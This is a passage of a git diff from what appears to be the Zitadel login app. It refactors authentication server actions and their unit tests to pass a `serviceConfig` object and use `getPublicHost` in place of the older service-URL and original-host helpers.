-    serviceUrl,
-    userId: command.userId,
-  });
+  const userResponse = await getUserByID({ serviceConfig, userId: command.userId });
 
   if (!userResponse || !userResponse.user) {
     return { error: "User not found in the system" };
   }
 
-  const loginSettings = await getLoginSettings({
-    serviceUrl,
-    organization: userResponse.user.details?.resourceOwner,
-  });
+  const loginSettings = await getLoginSettings({ serviceConfig, organization: userResponse.user.details?.resourceOwner });
 
   const session = await createSessionForIdpAndUpdateCookie({
     userId: command.userId,
@@ -146,17 +141,14 @@ export async function createNewSessionFromIdpIntent(command: CreateNewSessionCom
   // check if user has MFA methods
   let authMethods;
   if (session.factors?.user?.id) {
-    const response = await listAuthenticationMethodTypes({
-      serviceUrl,
-      userId: session.factors.user.id,
-    });
+    const response = await listAuthenticationMethodTypes({ serviceConfig, userId: session.factors.user.id });
     if (response.authMethodTypes && response.authMethodTypes.length) {
       authMethods = response.authMethodTypes;
     }
   }
 
   const mfaFactorCheck = await checkMFAFactors(
-    serviceUrl,
+    serviceConfig,
     session,
     loginSettings,
     authMethods || [], // Pass empty array if no auth methods
@@ -193,14 +185,14 @@ type createNewSessionForLDAPCommand = {
 export async function createNewSessionForLDAP(command: createNewSessionForLDAPCommand) {
   const _headers = await headers();
 
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
   if (!command.username || !command.password) {
     return { error: "No username or password provided" };
   }
 
   const response = await startLDAPIdentityProviderFlow({
-    serviceUrl,
+    serviceConfig,
     idpId: command.idpId,
     username: command.username,
     password: command.password,
diff --git a/apps/login/src/lib/server/loginname.test.ts b/apps/login/src/lib/server/loginname.test.ts
index 5fcab512265..2f3f3d1bf4e 100644
--- a/apps/login/src/lib/server/loginname.test.ts
+++ b/apps/login/src/lib/server/loginname.test.ts
@@ -15,7 +15,7 @@ vi.mock("@zitadel/client", () => ({
 }));
 
 vi.mock("../service-url", () => ({
-  getServiceUrlFromHeaders: vi.fn(),
+  getServiceConfig: vi.fn(),
 }));
 
 vi.mock("../idp", () => ({
@@ -39,7 +39,8 @@ vi.mock("./cookie", () => ({
 }));
 
 vi.mock("./host", () => ({
-  getOriginalHost: vi.fn(),
+  getInstanceHost: vi.fn(),
+  getPublicHost: vi.fn(),
 }));
 
 // this returns the key itself that can be checked not the translated value
@@ -57,7 +58,8 @@ describe("sendLoginname", () => {
   let mockCreateSessionAndUpdateCookie: any;
   let mockListAuthenticationMethodTypes: any;
   let mockListIDPLinks: any;
-  let mockGetOriginalHost: any;
+  let mockGetInstanceHost: any;
+  let mockGetPublicHost: any;
   let mockStartIdentityProviderFlow: any;
   let mockGetActiveIdentityProviders: any;
   let mockGetIDPByID: any;
@@ -70,7 +72,7 @@ describe("sendLoginname", () => {
     // Import mocked modules
     const { headers } = await import("next/headers");
     const { create } = await import("@zitadel/client");
-    const { getServiceUrlFromHeaders } = await import("../service-url");
+    const { getServiceConfig } = await import("../service-url");
     const {
       getLoginSettings,
       searchUsers,
@@ -81,19 +83,20 @@ describe("sendLoginname", () => {
       getOrgsByDomain,
     } = await import("../zitadel");
     const { createSessionAndUpdateCookie } = await import("./cookie");
-    const { getOriginalHost } = await import("./host");
+    const { getInstanceHost, getPublicHost } = await import("./host");
     const { idpTypeToSlug } = await import("../idp");
 
     // Setup mocks
     mockHeaders = vi.mocked(headers);
     mockCreate = vi.mocked(create);
-    mockGetServiceUrlFromHeaders = vi.mocked(getServiceUrlFromHeaders);
+    mockGetServiceUrlFromHeaders = vi.mocked(getServiceConfig);
     mockGetLoginSettings = vi.mocked(getLoginSettings);
     mockSearchUsers = vi.mocked(searchUsers);
     mockCreateSessionAndUpdateCookie = vi.mocked(createSessionAndUpdateCookie);
     mockListAuthenticationMethodTypes = vi.mocked(listAuthenticationMethodTypes);
     mockListIDPLinks = vi.mocked(listIDPLinks);
-    mockGetOriginalHost = vi.mocked(getOriginalHost);
+    mockGetInstanceHost = vi.mocked(getInstanceHost);
+    mockGetPublicHost = vi.mocked(getPublicHost);
     mockStartIdentityProviderFlow = vi.mocked(startIdentityProviderFlow);
     mockGetActiveIdentityProviders = vi.mocked(getActiveIdentityProviders);
     mockGetIDPByID = vi.mocked(getIDPByID);
@@ -102,8 +105,9 @@ describe("sendLoginname", () => {
 
     // Default mock implementations
     mockHeaders.mockResolvedValue({} as any);
-    mockGetServiceUrlFromHeaders.mockReturnValue({ serviceUrl: "https://api.example.com" });
-    mockGetOriginalHost.mockResolvedValue("example.com");
+    mockGetServiceUrlFromHeaders.mockReturnValue({ serviceConfig: { baseUrl: "https://api.example.com" } });
+    mockGetInstanceHost.mockReturnValue("example.com");
+    mockGetPublicHost.mockReturnValue("example.com");
     mockIdpTypeToSlug.mockReturnValue("google");
     mockGetIDPByID.mockResolvedValue({
       id: "idp123",
@@ -243,7 +247,7 @@ describe("sendLoginname", () => {
 
         expect(result).toEqual({ redirect: "https://idp.example.com/auth" });
         expect(mockListIDPLinks).toHaveBeenCalledWith({
-          serviceUrl: "https://api.example.com",
+          serviceConfig: { baseUrl: "https://api.example.com" },
           userId: "user123",
         });
       });
@@ -283,7 +287,7 @@ describe("sendLoginname", () => {
 
         expect(result).toEqual({ redirect: "https://org-idp.example.com/auth" });
         expect(mockGetActiveIdentityProviders).toHaveBeenCalledWith({
-          serviceUrl: "https://api.example.com",
+          serviceConfig: { baseUrl: "https://api.example.com" },
           orgId: "org123", // User's organization from resourceOwner
         });
       });
@@ -523,7 +527,7 @@ describe("sendLoginname", () => {
 
       // Verify org discovery was called with correct domain
       expect(mockGetOrgsByDomain).toHaveBeenCalledWith({
-        serviceUrl: "https://api.example.com",
+        serviceConfig: { baseUrl: "https://api.example.com" },
         domain: "example.com",
       });
     });
@@ -562,13 +566,13 @@ describe("sendLoginname", () => {
 
       // Verify org discovery was called
       expect(mockGetOrgsByDomain).toHaveBeenCalledWith({
-        serviceUrl: "https://api.example.com",
+        serviceConfig: { baseUrl: "https://api.example.com" },
         domain: "company.com",
       });
 
       // Verify IDP redirect was called with discovered org
       expect(mockGetActiveIdentityProviders).toHaveBeenCalledWith({
-        serviceUrl: "https://api.example.com",
+        serviceConfig: { baseUrl: "https://api.example.com" },
         orgId: "discovered-org-456",
       });
     });
diff --git a/apps/login/src/lib/server/loginname.ts b/apps/login/src/lib/server/loginname.ts
index e09dd34b153..862d71372dc 100644
--- a/apps/login/src/lib/server/loginname.ts
+++ b/apps/login/src/lib/server/loginname.ts
@@ -9,7 +9,7 @@ import { idpTypeToIdentityProviderType, idpTypeToSlug } from "../idp";
 
 import { PasskeysType } from "@zitadel/proto/zitadel/settings/v2/login_settings_pb";
 import { UserState } from "@zitadel/proto/zitadel/user/v2/user_pb";
-import { getServiceUrlFromHeaders } from "../service-url";
+import { getServiceConfig } from "../service-url";
 import {
   getActiveIdentityProviders,
   getIDPByID,
@@ -22,7 +22,7 @@ import {
   startIdentityProviderFlow,
 } from "../zitadel";
 import { createSessionAndUpdateCookie } from "./cookie";
-import { getOriginalHost } from "./host";
+import { getPublicHost } from "./host";
 import { IDPLink } from "@zitadel/proto/zitadel/user/v2/idp_pb";
 
 export type SendLoginnameCommand = {
@@ -36,21 +36,18 @@ const ORG_SUFFIX_REGEX = /(?<=@)(.+)/;
 
 export async function sendLoginname(command: SendLoginnameCommand) {
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
   const t = await getTranslations("loginname");
 
-  const loginSettingsByContext = await getLoginSettings({
-    serviceUrl,
-    organization: command.organization,
-  });
+  const loginSettingsByContext = await getLoginSettings({ serviceConfig, organization: command.organization });
 
   if (!loginSettingsByContext) {
     return { error: t("errors.couldNotGetLoginSettings") };
   }
 
   let searchUsersRequest: SearchUsersCommand = {
-    serviceUrl,
+    serviceConfig,
     searchValue: command.loginName,
     organizationId: command.organization,
     loginSettings: loginSettingsByContext,
@@ -88,28 +85,22 @@ export async function sendLoginname(command: SendLoginnameCommand) {
     // If userId is provided, check for user-specific IDP links first
     let identityProviders: IDPLink[] = [];
     if (userId) {
-      identityProviders = await listIDPLinks({
-        serviceUrl,
-        userId,
-      }).then((resp) => {
+      identityProviders = await listIDPLinks({ serviceConfig, userId }).then((resp) => {
         return resp.result;
       });
     }
 
     // If no IDP links exist for the user (or no userId provided), try to get active IDPs from the organization
     if (identityProviders.length === 0) {
-      const activeIdps = await getActiveIdentityProviders({
-        serviceUrl,
-        orgId: organization,
-      }).then((resp) => {
+      const activeIdps = await getActiveIdentityProviders({ serviceConfig, orgId: organization }).then((resp) => {
         return resp.identityProviders;
       });
 
       // If exactly one active IDP exists in the organization, redirect to it
       if (activeIdps.length === 1) {
         const _headers = await headers();
-        const { serviceUrl } = getServiceUrlFromHeaders(_headers);
-        const host = await getOriginalHost();
+        const { serviceConfig } = getServiceConfig(_headers);
+        const host = getPublicHost(_headers);
 
         const identityProviderType = activeIdps[0].type;
         const provider = idpTypeToSlug(identityProviderType);
@@ -131,7 +122,7 @@ export async function sendLoginname(command: SendLoginnameCommand) {
         const basePath = process.env.NEXT_PUBLIC_BASE_PATH ?? "";
 
         const url = await startIdentityProviderFlow({
-          serviceUrl,
+          serviceConfig,
           idpId: activeIdps[0].id,
           urls: {
             successUrl:
@@ -153,15 +144,12 @@ export async function sendLoginname(command: SendLoginnameCommand) {
 
     if (identityProviders.length === 1) {
       const _headers = await headers();
-      const { serviceUrl } = getServiceUrlFromHeaders(_headers);
-      const host = await getOriginalHost();
+      const { serviceConfig } = getServiceConfig(_headers);
+      const host = getPublicHost(_headers);
 
       const identityProviderId = identityProviders[0].idpId;
 
-      const idp = await getIDPByID({
-        serviceUrl,
-        id: identityProviderId,
-      });
+      const idp = await getIDPByID({ serviceConfig, id: identityProviderId });
 
       const idpType = idp?.type;
 
@@ -189,7 +177,7 @@ export async function sendLoginname(command: SendLoginnameCommand) {
       const basePath = process.env.NEXT_PUBLIC_BASE_PATH ?? "";
 
       const url = await startIdentityProviderFlow({
-        serviceUrl,
+        serviceConfig,
         idpId: idp.id,
         urls: {
           successUrl:
@@ -216,10 +204,7 @@ export async function sendLoginname(command: SendLoginnameCommand) {
     const user = users[0];
     const userId = users[0].userId;
 
-    const userLoginSettings = await getLoginSettings({
-      serviceUrl,
-      organization: user.details?.resourceOwner,
-    });
+    const userLoginSettings = await getLoginSettings({ serviceConfig, organization: user.details?.resourceOwner });
 
     // compare with the concatenated suffix when set
     const concatLoginname = command.suffix ? `${command.loginName}@${command.suffix}` : command.loginName;
@@ -273,10 +258,7 @@ export async function sendLoginname(command: SendLoginnameCommand) {
     // Resolve organization from command or session
     const organization = command.organization ?? session.factors?.user?.organizationId;
 
-    const methods = await listAuthenticationMethodTypes({
-      serviceUrl,
-      userId: session.factors?.user?.id,
-    });
+    const methods = await listAuthenticationMethodTypes({ serviceConfig, userId: session.factors?.user?.id });
 
     // always resend invite if user has no auth method set
     if (!methods.authMethodTypes || !methods.authMethodTypes.length) {
@@ -418,18 +400,12 @@ export async function sendLoginname(command: SendLoginnameCommand) {
     const suffix = matched?.[1] ?? "";
 
     // this just returns orgs where the suffix is set as primary domain
-    const orgs = await getOrgsByDomain({
-      serviceUrl,
-      domain: suffix,
-    });
+    const orgs = await getOrgsByDomain({ serviceConfig, domain: suffix });
 
     const orgToCheckForDiscovery = orgs.result && orgs.result.length === 1 ? orgs.result[0].id : undefined;
 
     if (orgToCheckForDiscovery) {
-      const orgLoginSettings = await getLoginSettings({
-        serviceUrl,
-        organization: orgToCheckForDiscovery,
-      });
+      const orgLoginSettings = await getLoginSettings({ serviceConfig, organization: orgToCheckForDiscovery });
 
       if (orgLoginSettings?.allowDomainDiscovery) {
         console.log("org discovery successful, using org:", orgToCheckForDiscovery);
diff --git a/apps/login/src/lib/server/oidc.ts b/apps/login/src/lib/server/oidc.ts
index 36a31fe4192..5fbf1608b1d 100644
--- a/apps/login/src/lib/server/oidc.ts
+++ b/apps/login/src/lib/server/oidc.ts
@@ -2,14 +2,12 @@
 
 import { getDeviceAuthorizationRequest as zitadelGetDeviceAuthorizationRequest } from "@/lib/zitadel";
 import { headers } from "next/headers";
-import { getServiceUrlFromHeaders } from "../service-url";
+import { getServiceConfig } from "../service-url";
 
 export async function getDeviceAuthorizationRequest(userCode: string) {
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
-  return zitadelGetDeviceAuthorizationRequest({
-    serviceUrl,
-    userCode,
+  return zitadelGetDeviceAuthorizationRequest({ serviceConfig, userCode,
   });
 }
diff --git a/apps/login/src/lib/server/passkeys.test.ts b/apps/login/src/lib/server/passkeys.test.ts
index b22d204796b..5cc59c7256d 100644
--- a/apps/login/src/lib/server/passkeys.test.ts
+++ b/apps/login/src/lib/server/passkeys.test.ts
@@ -14,7 +14,7 @@ vi.mock("@zitadel/client", () => ({
 }));
 
 vi.mock("../service-url", () => ({
-  getServiceUrlFromHeaders: vi.fn(),
+  getServiceConfig: vi.fn(),
 }));
 
 vi.mock("../zitadel", () => ({
@@ -62,7 +62,7 @@ describe("sendPasskey", () => {
 
     // Import mocked modules
     const { headers } = await import("next/headers");
-    const { getServiceUrlFromHeaders } = await import("../service-url");
+    const { getServiceConfig } = await import("../service-url");
     const { getLoginSettings, getUserByID } = await import("../zitadel");
     const { setSessionAndUpdateCookie } = await import("./cookie");
     const { getSessionCookieById, getSessionCookieByLoginName, getMostRecentSessionCookie } = await import("../cookies");
@@ -71,7 +71,7 @@ describe("sendPasskey", () => {
 
     // Setup mocks
     mockHeaders = vi.mocked(headers);
-    mockGetServiceUrlFromHeaders = vi.mocked(getServiceUrlFromHeaders);
+    mockGetServiceUrlFromHeaders = vi.mocked(getServiceConfig);
     mockGetLoginSettings = vi.mocked(getLoginSettings);
     mockGetUserByID = vi.mocked(getUserByID);
     mockSetSessionAndUpdateCookie = vi.mocked(setSessionAndUpdateCookie);
diff --git a/apps/login/src/lib/server/passkeys.ts b/apps/login/src/lib/server/passkeys.ts
index b6fc46c7a2a..f53c93cafcd 100644
--- a/apps/login/src/lib/server/passkeys.ts
+++ b/apps/login/src/lib/server/passkeys.ts
@@ -20,10 +20,10 @@ import { headers } from "next/headers";
 import { userAgent } from "next/server";
 import { getTranslations } from "next-intl/server";
 import { getMostRecentSessionCookie, getSessionCookieById, getSessionCookieByLoginName } from "../cookies";
-import { getServiceUrlFromHeaders } from "../service-url";
+import { getServiceConfig } from "../service-url";
 import { checkEmailVerification, checkUserVerification } from "../verify-helper";
 import { createSessionAndUpdateCookie, setSessionAndUpdateCookie } from "./cookie";
-import { getOriginalHost } from "./host";
+import { getPublicHost } from "./host";
 import { completeFlowOrGetUrl } from "../client";
 
 type VerifyPasskeyCommand = {
@@ -63,8 +63,8 @@ export async function registerPasskeyLink(
   }
 
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
-  const host = await getOriginalHost();
+  const { serviceConfig } = getServiceConfig(_headers);
+  const host = getPublicHost(_headers);
 
   let session: GetSessionResponse | undefined;
   let createdSession: Session | undefined;
@@ -74,11 +74,7 @@ export async function registerPasskeyLink(
   if (command.sessionId) {
     // Session-based flow (existing logic)
     const sessionCookie = await getSessionCookieById({ sessionId: command.sessionId });
-    session = await getSession({
-      serviceUrl,
-      sessionId: sessionCookie.id,
-      sessionToken: sessionCookie.token,
-    });
+    session = await getSession({ serviceConfig, sessionId: sessionCookie.id, sessionToken: sessionCookie.token });
 
     if (!session?.session?.factors?.user?.id) {
       return { error: "Could not determine user from session" };
@@ -89,10 +85,7 @@ export async function registerPasskeyLink(
     const sessionValid = isSessionValid(session.session);
 
     if (!sessionValid.valid) {
-      const authmethods = await listAuthenticationMethodTypes({
-        serviceUrl,
-        userId: currentUserId,
-      });
+      const authmethods = await listAuthenticationMethodTypes({ serviceConfig, userId: currentUserId });
 
       // if the user has no authmethods set, we need to check if the user was verified
       if (authmethods.authMethodTypes.length !== 0) {
@@ -117,10 +110,7 @@ export async function registerPasskeyLink(
         code: command.code,
       };
     } else {
-      const codeResponse = await createPasskeyRegistrationLink({
-        serviceUrl,
-        userId: currentUserId,
-      });
+      const codeResponse = await createPasskeyRegistrationLink({ serviceConfig, userId: currentUserId });
 
       if (!codeResponse?.code?.code) {
         return { error: "Could not create registration link" };
@@ -136,10 +126,7 @@ export async function registerPasskeyLink(
     };
 
     // Check if user exists
-    const userResponse = await getUserByID({
-      serviceUrl,
-      userId: currentUserId,
-    });
+    const userResponse = await getUserByID({ serviceConfig, userId: currentUserId });
 
     if (!userResponse || !userResponse.user) {
       return { error: "User not found" };
@@ -179,17 +166,12 @@ export async function registerPasskeyLink(
     throw new Error("Could not determine user");
   }
 
-  return registerPasskey({
-    serviceUrl,
-    userId: currentUserId,
-    code: registerCode,
-    domain: hostname,
-  });
+  return registerPasskey({ serviceConfig, userId: currentUserId, code: registerCode, domain: hostname });
 }
 
 export async function verifyPasskeyRegistration(command: VerifyPasskeyCommand) {
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
   if (!command.sessionId && !command.userId) {
     throw new Error("Either sessionId or userId must be provided");
@@ -214,11 +196,7 @@ export async function verifyPasskeyRegistration(command: VerifyPasskeyCommand) {
     const sessionCookie = await getSessionCookieById({
       sessionId: command.sessionId,
     });
-    const session = await getSession({
-      serviceUrl,
-      sessionId: sessionCookie.id,
-      sessionToken: sessionCookie.token,
-    });
+    const session = await getSession({ serviceConfig, sessionId: sessionCookie.id, sessionToken: sessionCookie.token });
     const userId = session?.session?.factors?.user?.id;
 
     if (!userId) {
@@ -231,10 +209,7 @@ export async function verifyPasskeyRegistration(command: VerifyPasskeyCommand) {
     currentUserId = command.userId!;
 
     // Verify user exists
-    const userResponse = await getUserByID({
-      serviceUrl,
-      userId: currentUserId,
-    });
+    const userResponse = await getUserByID({ serviceConfig, userId: currentUserId });
 
     if (!userResponse || !userResponse.user) {
       throw new Error("User not found");
@@ -242,7 +217,7 @@ export async function verifyPasskeyRegistration(command: VerifyPasskeyCommand) {
   }
 
   return zitadelVerifyPasskeyRegistration({
-    serviceUrl,
+    serviceConfig,
     request: create(VerifyPasskeyRegistrationRequestSchema, {
       passkeyId: command.passkeyId,
       publicKeyCredential: command.publicKeyCredential,
@@ -279,12 +254,9 @@ export async function sendPasskey(command: SendPasskeyCommand) {
   }
 
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
-  const loginSettings = await getLoginSettings({
-    serviceUrl,
-    organization,
-  });
+  const loginSettings = await getLoginSettings({ serviceConfig, organization });
 
   let lifetime = command.lifetime; // Use provided lifetime first
 
@@ -318,10 +290,7 @@ export async function sendPasskey(command: SendPasskeyCommand) {
 
   let userResponse;
   try {
-    userResponse = await getUserByID({
-      serviceUrl,
-      userId: session?.factors?.user?.id,
-    });
+    userResponse = await getUserByID({ serviceConfig, userId: session?.factors?.user?.id });
   } catch (error) {
     console.error("Error fetching user by ID:", error);
     return { error: t("verify.errors.couldNotGetUser") };
diff --git a/apps/login/src/lib/server/password.ts b/apps/login/src/lib/server/password.ts
index 12adc81ae34..f094e2616fe 100644
--- a/apps/login/src/lib/server/password.ts
+++ b/apps/login/src/lib/server/password.ts
@@ -10,6 +10,7 @@ import {
   listAuthenticationMethodTypes,
   listUsers,
   passwordReset,
+  ServiceConfig,
   setPassword,
   setUserPassword,
 } from "@/lib/zitadel";
@@ -22,8 +23,8 @@ import { SetPasswordRequestSchema } from "@zitadel/proto/zitadel/user/v2/user_se
 import { headers } from "next/headers";
 import { completeFlowOrGetUrl } from "../client";
 import { getSessionCookieById, getSessionCookieByLoginName } from "../cookies";
-import { getServiceUrlFromHeaders } from "../service-url";
-import { getOriginalHostWithProtocol } from "./host";
+import { getServiceConfig } from "../service-url";
+import { getPublicHostWithProtocol } from "./host";
 import {
   checkEmailVerification,
   checkMFAFactors,
@@ -41,18 +42,14 @@ type ResetPasswordCommand = {
 
 export async function resetPassword(command: ResetPasswordCommand) {
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
   const t = await getTranslations("password");
 
   // Get the original host that the user sees with protocol
-  const hostWithProtocol = await getOriginalHostWithProtocol();
+  const hostWithProtocol = await getPublicHostWithProtocol(_headers);
 
-  const users = await listUsers({
-    serviceUrl,
-    loginName: command.loginName,
-    organizationId: command.organization,
-  });
+  const users = await listUsers({ serviceConfig, loginName: command.loginName, organizationId: command.organization });
 
   if (!users.details || users.details.totalResult !== BigInt(1) || !users.result[0].userId) {
     return { error: t("errors.couldNotSendResetLink") };
@@ -62,7 +59,7 @@ export async function resetPassword(command: ResetPasswordCommand) {
   const basePath = process.env.NEXT_PUBLIC_BASE_PATH ?? "";
 
   return passwordReset({
-    serviceUrl,
+    serviceConfig,
     userId,
     urlTemplate:
       `${hostWithProtocol}${basePath}/password/set?code={{.Code}}&userId={{.UserID}}&organization={{.OrgID}}` +
@@ -79,7 +76,7 @@ export type UpdateSessionCommand = {
 
 export async function sendPassword(command: UpdateSessionCommand): Promise<{ error: string } | { redirect: string }> {
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
   const t = await getTranslations("password");
 
   let sessionCookie = await getSessionCookieByLoginName({
@@ -94,11 +91,7 @@ export async function sendPassword(command: UpdateSessionCommand): Promise<{ err
   let loginSettings: LoginSettings | undefined;
 
   if (!sessionCookie) {
-    const users = await listUsers({
-      serviceUrl,
-      loginName: command.loginName,
-      organizationId: command.organization,
-    });
+    const users = await listUsers({ serviceConfig, loginName: command.loginName, organizationId: command.organization });
 
     if (users.details?.totalResult == BigInt(1) && users.result[0].userId) {
       user = users.result[0];
@@ -108,10 +101,7 @@ export async function sendPassword(command: UpdateSessionCommand): Promise<{ err
         password: { password: command.checks.password?.password },
       });
 
-      loginSettings = await getLoginSettings({
-        serviceUrl,
-        organization: command.organization,
-      });
+      loginSettings = await getLoginSettings({ serviceConfig, organization: command.organization });
 
       try {
         session = await createSessionAndUpdateCookie({
@@ -121,10 +111,7 @@ export async function sendPassword(command: UpdateSessionCommand): Promise<{ err
         });
       } catch (error: any) {
         if ("failedAttempts" in error && error.failedAttempts) {
-          const lockoutSettings = await getLockoutSettings({
-            serviceUrl,
-            orgId: command.organization,
-          });
+          const lockoutSettings = await getLockoutSettings({ serviceConfig, orgId: command.organization });
 
           const hasLimit =
             lockoutSettings?.maxPasswordAttempts !== undefined && lockoutSettings?.maxPasswordAttempts > BigInt(0);
@@ -149,10 +136,7 @@ export async function sendPassword(command: UpdateSessionCommand): Promise<{ err
     // this is a fake error message to hide that the user does not even exist
     return { error: t("errors.couldNotVerifyPassword") };
   } else {
-    loginSettings = await getLoginSettings({
-      serviceUrl,
-      organization: sessionCookie.organization,
-    });
+    loginSettings = await getLoginSettings({ serviceConfig, organization: sessionCookie.organization });
 
     if (!loginSettings) {
       return { error: "Could not load login settings" };
@@ -177,10 +161,7 @@ export async function sendPassword(command: UpdateSessionCommand): Promise<{ err
       });
     } catch (error: any) {
       if ("failedAttempts" in error && error.failedAttempts) {
-        const lockoutSettings = await getLockoutSettings({
-          serviceUrl,
-          orgId: command.organization,
-        });
+        const lockoutSettings = await getLockoutSettings({ serviceConfig, orgId: command.organization });
 
         const hasLimit =
           lockoutSettings?.maxPasswordAttempts !== undefined && lockoutSettings?.maxPasswordAttempts > BigInt(0);
@@ -202,10 +183,7 @@ export async function sendPassword(command: UpdateSessionCommand): Promise<{ err
       return { error: t("errors.couldNotCreateSessionForUser") };
     }
 
-    const userResponse = await getUserByID({
-      serviceUrl,
-      userId: session?.factors?.user?.id,
-    });
+    const userResponse = await getUserByID({ serviceConfig, userId: session?.factors?.user?.id });
 
     if (!userResponse.user) {
       return { error: t("errors.userNotFound") };
@@ -216,7 +194,7 @@ export async function sendPassword(command: UpdateSessionCommand): Promise<{ err
 
   if (!loginSettings) {
     loginSettings = await getLoginSettings({
-      serviceUrl,
+      serviceConfig,
       organization: command.organization ?? session.factors?.user?.organizationId,
     });
   }
@@ -228,7 +206,7 @@ export async function sendPassword(command: UpdateSessionCommand): Promise<{ err
   const humanUser = user.type.case === "human" ? user.type.value : undefined;
 
   const expirySettings = await getPasswordExpirySettings({
-    serviceUrl,
+    serviceConfig,
     orgId: command.organization ?? session.factors?.user?.organizationId,
   });
 
@@ -260,10 +238,7 @@ export async function sendPassword(command: UpdateSessionCommand): Promise<{ err
   // if password, check if user has MFA methods
   let authMethods;
   if (command.checks && command.checks.password && session.factors?.user?.id) {
-    const response = await listAuthenticationMethodTypes({
-      serviceUrl,
-      userId: session.factors.user.id,
-    });
+    const response = await listAuthenticationMethodTypes({ serviceConfig, userId: session.factors.user.id });
     if (response.authMethodTypes && response.authMethodTypes.length) {
       authMethods = response.authMethodTypes;
     }
@@ -274,7 +249,7 @@ export async function sendPassword(command: UpdateSessionCommand): Promise<{ err
   }
 
   const mfaFactorCheck = await checkMFAFactors(
-    serviceUrl,
+    serviceConfig,
     session,
     loginSettings,
     authMethods,
@@ -331,14 +306,11 @@ export async function sendPassword(command: UpdateSessionCommand): Promise<{ err
 // this function lets users with code set a password or users with valid User Verification Check
 export async function changePassword(command: { code?: string; userId: string; password: string }) {
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
   const t = await getTranslations("password");
 
   // check for init state
-  const { user } = await getUserByID({
-    serviceUrl,
-    userId: command.userId,
-  });
+  const { user } = await getUserByID({ serviceConfig, userId: command.userId });
 
   if (!user || user.userId !== command.userId) {
     return { error: t("errors.couldNotSendResetLink") };
@@ -351,10 +323,7 @@ export async function changePassword(command: { code?: string; userId: string; p
 
   // check if the user has no password set in order to set a password
   if (!command.code) {
-    const authmethods = await listAuthenticationMethodTypes({
-      serviceUrl,
-      userId,
-    });
+    const authmethods = await listAuthenticationMethodTypes({ serviceConfig, userId });
 
     // if the user has no authmethods set, we need to check if the user was verified
     if (authmethods.authMethodTypes.length !== 0) {
@@ -371,12 +340,7 @@ export async function changePassword(command: { code?: string; userId: string; p
     }
   }
 
-  return setUserPassword({
-    serviceUrl,
-    userId,
-    password: command.password,
-    code: command.code,
-  });
+  return setUserPassword({ serviceConfig, userId, password: command.password, code: command.code });
 }
 
 type CheckSessionAndSetPasswordCommand = {
@@ -386,7 +350,7 @@ type CheckSessionAndSetPasswordCommand = {
 
 export async function checkSessionAndSetPassword({ sessionId, password }: CheckSessionAndSetPasswordCommand) {
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
   const t = await getTranslations("password");
 
   let sessionCookie;
@@ -400,7 +364,7 @@ export async function checkSessionAndSetPassword({ sessionId, password }: CheckS
   let session;
   try {
     const sessionResponse = await getSession({
-      serviceUrl,
+      serviceConfig,
       sessionId: sessionCookie.id,
       sessionToken: sessionCookie.token,
     });
@@ -424,10 +388,7 @@ export async function checkSessionAndSetPassword({ sessionId, password }: CheckS
   // check if the user has no password set in order to set a password
   let authmethods;
   try {
-    authmethods = await listAuthenticationMethodTypes({
-      serviceUrl,
-      userId: session.factors.user.id,
-    });
+    authmethods = await listAuthenticationMethodTypes({ serviceConfig, userId: session.factors.user.id });
   } catch (error) {
     console.error("Error getting auth methods:", error);
     return { error: "Could not load auth methods" };
@@ -439,10 +400,7 @@ export async function checkSessionAndSetPassword({ sessionId, password }: CheckS
 
   let loginSettings;
   try {
-    loginSettings = await getLoginSettings({
-      serviceUrl,
-      organization: session.factors.user.organizationId,
-    });
+    loginSettings = await getLoginSettings({ serviceConfig, organization: session.factors.user.organizationId });
   } catch (error) {
     console.error("Error getting login settings:", error);
     return { error: "Could not load login settings" };
@@ -453,7 +411,7 @@ export async function checkSessionAndSetPassword({ sessionId, password }: CheckS
   // if the user has no MFA but MFA is enforced, we can set a password otherwise we use the token of the user
   if (forceMfa) {
     console.log("Set password using service account due to enforced MFA without existing MFA methods");
-    return setPassword({ serviceUrl, payload }).catch((error) => {
+    return setPassword({ serviceConfig, payload }).catch((error) => {
       // throw error if failed precondition (ex. User is not yet initialized)
       if (error.code === 9 && error.message) {
         return { error: t("errors.failedPrecondition") };
@@ -461,16 +419,16 @@ export async function checkSessionAndSetPassword({ sessionId, password }: CheckS
       return { error: "Could not set password" };
     });
   } else {
-    const transport = async (serviceUrl: string, token: string) => {
-      return createServerTransport(token, serviceUrl);
+    const transport = async (serviceConfig: ServiceConfig, token: string) => {
+      return createServerTransport(token, serviceConfig);
     };
 
-    const myUserService = async (serviceUrl: string, sessionToken: string) => {
-      const transportPromise = await transport(serviceUrl, sessionToken);
+    const myUserService = async (serviceConfig: ServiceConfig, sessionToken: string) => {
+      const transportPromise = await transport(serviceConfig, sessionToken);
       return createUserServiceClient(transportPromise);
     };
 
-    const selfService = await myUserService(serviceUrl, `${sessionCookie.token}`);
+    const selfService = await myUserService(serviceConfig, sessionCookie.token);
 
     return selfService
       .setPassword(
diff --git a/apps/login/src/lib/server/register.ts b/apps/login/src/lib/server/register.ts
index fb6656f9d25..daa73de37e4 100644
--- a/apps/login/src/lib/server/register.ts
+++ b/apps/login/src/lib/server/register.ts
@@ -7,7 +7,7 @@ import { Factors } from "@zitadel/proto/zitadel/session/v2/session_pb";
 import { ChecksJson, ChecksSchema } from "@zitadel/proto/zitadel/session/v2/session_service_pb";
 import { cookies, headers } from "next/headers";
 import { getTranslations } from "next-intl/server";
-import { getServiceUrlFromHeaders } from "../service-url";
